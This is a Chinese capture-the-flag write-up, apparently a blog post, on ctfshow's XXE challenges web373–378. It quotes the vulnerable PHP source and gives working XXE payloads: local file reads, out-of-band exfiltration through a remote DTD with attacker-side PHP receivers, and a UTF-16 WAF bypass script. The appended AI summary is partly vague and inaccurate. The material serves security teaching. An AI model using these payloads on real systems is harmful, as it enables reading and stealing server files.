ctfshow--xxe

本文详细介绍了XXE(XML External Entity)漏洞的原理、利用方式及防范措施。通过实例展示了如何利用XXE读取服务器文件,包括带有回显和无回显的情况,以及如何通过不同编码和正则绕过限制。同时,提出了通过远程实体加载和自定义DTD文件进行文件传输的攻击手段,并给出了防御策略,包括禁用外部实体加载和过滤恶意输入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

xxe

web373

查看源码:

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);   

解析:

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
  	// 加载xml实体,参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
  	// 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

可以实体注入,并且有回显,要注意的是 echo $creds->ctfshowechoctfshow这个元素,因此一定要用它来包裹实体&DMIND;

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
//这个productid要填xml实体的名称
    <ctfshow>&xxe;</ctfshow>
</stockCheck>

在这里插入图片描述

web374~376

区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}

后几题把xml的头过滤了

这里给出通杀方法:

在服务器上新建dtd文件,将读取到的flag发送到php

以下的http://xxx/指代服务器IP,根据自己情况替换

# pd.dtd
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx/xxe.php?q=%file;'>"
>
%all;

新建用于接收的php

# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>

burpsuite发包,后几题过滤了xml头,可以省略

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/pd.dtd">
%dtd;
%send;
] >

要求从公网能访问dtd和php文件
在这里插入图片描述
如果运行正常,flag已经写入了txt

在这里插入图片描述

web375

源码:

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  
?>

抓包,post payload:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>

在服务器放置 xxe.php 和 xxe.xml 两个文件

<?php
$content = $_GET['1'];
if(isset($content)){
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
    
      
    echo 'no data input';
}

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web376

无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  
?>

抓包发送如下内容:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>

在服务器放置 xxe.php 和 xxe.xml 两个文件:

<?php
$content = $_GET['1'];
if(isset($content)){
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
    
      
    echo 'no data input';
}

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

也是要在远程服务器配置dtd,同上

python完成post,记得设定编码方式

import requests

url = 'http://xxx'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

flag在服务器的flag.txt里面

web378

直接引用一个外部实体

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>1</password></user>

在这里插入图片描述

参考博客:
一篇文章带你深入理解漏洞之 XXE 漏洞
XML基础知识
ctf

### CTFShow 373-378 挑战详情 #### 挑战概述 CTFShow 平台上的编号 373 至 378 的挑战主要集中在 XML 外部实体注入 (XXE) 攻击方面。这些题目旨在测试参赛者对于 XXE 漏洞的理解和利用能力。 #### 编号 373 到 378 的具体描述 ##### Web373 此题涉及通过构造特定的 Payload 来读取服务器端文件内容。Payload 使用了 `php://filter` 和 Base64 编码来绕过某些安全机制并获取敏感数据[^4]: ```xml <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://47.236.41.52/test.dtd"> %aaa; ]> <root>123</root> ``` ##### Web374 该挑战展示了如何禁用 PHP 中的安全特性以便加载外部 DTD 文件,并最终实现 XXE 注入攻击。代码片段如下所示[^5]: ```php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__); ``` ##### Web375 至 Web378 后续几个挑战逐步增加了复杂度,可能涉及到更复杂的场景如盲注、远程文件包含等变种形式。虽然具体的细节未完全给出,但从已知信息推测,这些问题会进一步考察选手处理不同类型的 XXE 场景的能力。 #### 安全建议 为了防止 XXE 类型漏洞的发生,在开发过程中应当遵循最佳实践指南,比如验证所有来自用户的输入、限制解析器的功能集以及采用最新的库版本以获得更好的防护措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值